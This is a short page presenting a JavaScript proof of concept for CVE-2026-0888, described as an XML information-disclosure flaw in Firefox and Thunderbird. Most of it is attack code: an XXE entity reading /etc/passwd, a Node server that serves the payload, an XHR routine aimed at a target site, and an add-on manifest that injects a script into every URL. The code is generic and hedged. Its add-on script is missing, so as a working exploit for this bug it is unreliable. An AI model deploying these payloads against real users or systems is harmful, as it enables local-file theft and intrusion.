CVE-2026-0888: Mozilla Firefox和Thunderbird XML组件信息泄露漏洞

// CVE-2026-0888 PoC - XML Component Information Disclosure // This PoC demonstrates potential XML parsing vulnerability // Note: Actual exploit requires specific conditions and Firefox/Thunderbird version const http = require('http'); // Malicious XML that may trigger XML parser vulnerability const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> <!-- Additional crafted content to trigger parser bug --> <test><![CDATA[${'A'.repeat(10000)}]]></test> </root>`; // Create HTTP server to serve malicious content const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/xml' }); res.end(maliciousXML); }); server.listen(8080, () => { console.log('Malicious XML server running on port 8080'); console.log('Open in Firefox/Thunderbird: http://localhost:8080'); }); // XMLHttpRequest PoC for direct exploitation function exploitXMLVulnerability() { const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://target-site.com/malicious-xml-endpoint', true); xhr.onload = function() { // Parse response to extract leaked information const parser = new DOMParser(); const xmlDoc = parser.parseFromString(xhr.responseText, 'text/xml'); console.log('XML Response:', xmlDoc); }; xhr.send(); } // Firefox Addon PoC skeleton const exploitAddon = { manifest_version: 2, name: "CVE-2026-0888 PoC", version: "1.0", content_scripts: [{ matches: ["<all_urls>"], js: ["content.js"] }] }; console.log('PoC for CVE-2026-0888 - XML Information Disclosure'); console.log('Affected: Firefox < 147, Thunderbird < 147');